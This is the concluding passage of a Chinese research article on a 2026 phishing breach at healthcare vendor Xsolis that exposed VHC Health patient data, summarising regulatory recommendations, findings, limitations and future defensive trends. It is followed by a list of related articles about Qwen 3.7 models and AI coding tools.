培训内容结合真实案例,摒弃理论化宣讲,聚焦医疗场景高频钓鱼话术与攻击形态,提升培训实用性。

5.6 行业监管与合规强化

监管部门落实《医疗卫生机构网络安全管理办法》,将医疗第三方服务商纳入常态化监管范围。一是完善细分规则,出台医疗供应链数据安全、钓鱼防护专项规范,明确各方责任。二是扩大安全检查范围,实现医院、医疗软件商、运维服务商全覆盖。三是搭建行业威胁情报共享平台,互通钓鱼域名、恶意 IP、攻击样本,实现行业联防联控。四是加大处罚力度,对因防护缺失导致大规模医疗数据泄露的机构,依法从严处罚,并向社会公示。

6 结论与研究展望

6.1 研究结论

本文以 2026 年 VHC Health 合作商 Xsolis 遭遇钓鱼攻击引发患者医疗数据泄露事件为核心案例,完整还原攻击与处置全流程,明确医疗供应链钓鱼攻击 “突破第三方、牵连医疗机构、危害患者隐私” 的扩散特征。通过多组代码示例,拆解了邮件伪造、动态钓鱼页面、凭证窃取、数据库批量读取、恶意脚本持久化等核心攻击技术,梳理出攻击全链路的电子证据留存与取证要点。

研究发现,此次事件的发生并非单一漏洞导致,而是第三方服务商防护薄弱、医疗机构供应链管理缺失、跨机构协同不足、应急响应滞后、行业监管存在盲区等多重问题叠加的结果。医疗数据的高敏感性与高价值,决定了供应链钓鱼攻击的危害远高于普通行业。反网络钓鱼技术专家芦笛指出,医疗供应链安全不是单个机构的责任,而是整条产业链的共同义务,防护工作必须从 “单点防御” 转向 “全域协同”。

基于案例暴露的短板,本文从第三方技术加固、医疗机构供应链管理、跨机构协同、应急善后、人员培训、行业监管六个维度,构建了全闭环防控体系,方案兼顾技术落地性、合规要求与成本适配性,可直接应用于国内各级医疗机构与医疗第三方服务商。

6.2 研究不足

本文主要针对传统邮件类钓鱼攻击开展分析,对于 AI 生成钓鱼内容、语音钓鱼、二维码钓鱼等新型复合攻击研究深度有限。同时,针对跨境医疗数据流转、跨境钓鱼攻击的溯源与处置流程,未展开细化探讨,后续可针对以上方向补充研究。

6.3 研究展望

随着智慧医疗、远程医疗的持续普及,医疗供应链的业务交互、数据共享会更加频繁,攻击面进一步扩大。未来钓鱼攻击会逐步向智能化发展,攻击者利用 AI 生成高度贴合医疗场景的钓鱼邮件与话术,欺骗性持续提升。

在防护层面,医疗行业会逐步普及零信任架构、AI 智能威胁检测、数据水印溯源等技术,传统的边界防护模式将被替代。行业层面会建立更加完善的供应链安全准入、评级制度,威胁情报共享机制更加成熟。监管层面会持续细化医疗数据流转、隐私保护规则,压实产业链各主体的安全责任。

医疗数据安全关乎公众隐私与民生福祉,医疗机构、第三方服务商、监管部门、安全从业者需要长期协同发力,不断优化防控体系,抵御钓鱼攻击等各类网络威胁,守护智慧医疗体系安全稳定运行。

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
4天前
|
人工智能 自然语言处理 文字识别
阿里云百炼Qwen3.7-Max简介:能力、优势、支持订阅计划参考
Qwen3.7-Max是阿里云百炼面向智能体时代推出的新一代旗舰模型,对标GPT-5.5、Claude Opus 4.7等闭源旗舰。该模型支持百万级token上下文窗口,具备顶级推理能力、多模态搜索与视觉理解增强、流式输出低延迟响应等核心优势,覆盖编程、办公、长周期自主执行等复杂场景。同时支持OpenAI接口兼容,便于系统快速迁移。用户可通过Token Plan团队或节省计划等订阅方式灵活调用,适合企业级高要求场景使用。
8366 37
阿里云百炼Qwen3.7-Max简介:能力、优势、支持订阅计划参考
|
3天前
|
缓存 测试技术 API
Qwen 3.7 Plus 与 Max 实测:性价比与多模态能力差异解析(2026)
2026 年 6 月 1 日,阿里悄无声息地发布了 Qwen 3.7 Plus,距 Qwen 3.7 Max 上线刚好 11 天。同样的 1M 上下文,同样的 35 小时自治上限。但价格才是头条:Plus 是 0.40/M输入,Max是 2.50/M——便宜约 6 倍——并且还能看图、看视频。Vision Arena 上 Plus 已经排到 #16。所以这周真正值得讨论的问题不是”要不要为视觉能力买单”,而是”Max 凭什么用 6 倍价格换来 2 个百分点的 benchmark 领先”。
|
4天前
|
JavaScript 定位技术 API
CodeGraph 爆火:编程 Agent 需要的不是更多上下文,而是一张提前画好的代码地图
CodeGraph 是一款爆火的本地代码智能工具,通过 tree-sitter 解析 AST 构建结构化知识图谱(存于 SQLite),为编程 Agent 提前生成“代码地图”。它显著降低 Agent 在中大型项目中的探索成本——实测工具调用减少71%、Token 降57%、速度提升46%,支持19+语言及主流框架路由识别,完全离线、无需 API Key。
568 3
CodeGraph 爆火:编程 Agent 需要的不是更多上下文,而是一张提前画好的代码地图
|
4天前
|
人工智能 运维 JavaScript
阿里云Qoder CN(原通义灵码)全解析 产品形态、版本划分与技术适配说明
在AI辅助开发与智能办公工具持续普及的当下,阿里云旗下原通义灵码正式更名为Qoder CN,同时延伸出QoderWork CN、Qoder CN CLI、Qoder CN Mobile等多款配套产品,形成覆盖代码开发、日常办公、终端交互、移动端使用的完整工具矩阵。Qoder CN核心定位为AI智能编码助手,深度适配主流代码编辑器、集成开发环境以及终端场景;QoderWork CN则偏向桌面端综合办公辅助,二者面向不同使用场景,划分了多个版本档位,搭配差异化资源配额、功能权限与计费规则,同时兼容多款主流大模型。
590 4
|
4天前
|
数据采集 人工智能 前端开发
让 Coding Agent 从黑盒到透明:阿里云 Agent 观测审计数据采集实践
AI Agent 规模化落地带来执行黑盒、行为难追溯、成本难度量三大难题。阿里云基于 OTel 标准,面向 Coding Agent、个人通用助理和框架型 Agent,推出 LoongSuite Pilot、插件及探针等无侵入采集方案,让 Agent 实现可看见、可分析、可审计、可治理。
704 150
|
4天前
|
人工智能 缓存 自然语言处理
阿里Qwen3.7-Max评测:Agent能力显著提升,耗时与调用成本大幅下降
阿里云百炼推出面向智能体的旗舰大模型Qwen3.7-Max,具备长周期自主执行能力,显著提升编程、办公自动化等复杂任务处理水平;支持MCP集成与多框架兼容,并以限时5折+100万Tokens免费试用大幅降低使用门槛,助力企业高效落地AI应用。在阿里云百炼平台快速体验:https://t.aliyun.com/U/fPVHqY
1932 10
|
4天前
|
存储 安全 Java
AgentScope Java 2.0:打造分布式、企业级智能体底座
AgentScope 2.0 面向分布式部署、稳定运行、权限安全等企业级需求全面升级,打造支持多租户隔离与长期稳定运行的企业级智能体底座。
|
4天前
|
人工智能 运维 API
2026年阿里云百炼通义千问Qwen3.7-plus深度介绍 功能特性、使用优势及618大促订阅方案指南
大模型技术的普及,让AI能力逐步融入个人办公、内容创作、代码编写、企业运营、教育培训等各类场景。不同定位的模型对应不同使用需求,旗舰级模型性能强劲但使用成本偏高,轻量化模型价格低廉却难以胜任复杂任务,而介于两者之间的中端主力模型,凭借均衡的能力、亲民的定价、广泛的场景适配性,成为绝大多数个人用户、小型团队、中小企业的首选。
725 1
|
4天前
|
人工智能 安全 定位技术
CodeGraph深度解析 让Claude Code工具调用直降七成的核心原理与实操教程
如今以Claude Code为代表的AI编程智能体已经成为开发者日常编码、项目重构、漏洞修复的必备工具。但在长期使用过程中,几乎所有开发者都会遇到同一个明显痛点:AI虽然具备强大的代码生成与分析能力,却常常陷入盲目探索的循环中。
1336 2
|
4天前
|
人工智能 运维 自然语言处理
阿里云百炼Qwen3.7-Max模型详解:综合能力、核心优势与订阅计划参考指南
2026年,大模型技术持续向通用化、高性能、场景化方向迭代,阿里云百炼作为一站式大模型服务平台,持续推出迭代升级的模型产品,Qwen3.7-Max便是当前主力旗舰级大模型之一。该模型依托深度优化的底层架构与大规模训练数据,在文本理解、逻辑推理、多模态交互、代码生成、长文本处理等多个维度实现能力升级,同时搭配灵活的订阅计划体系,能够适配个人开发者、中小企业、大型企业、政企机构等不同类型用户的使用需求。
507 2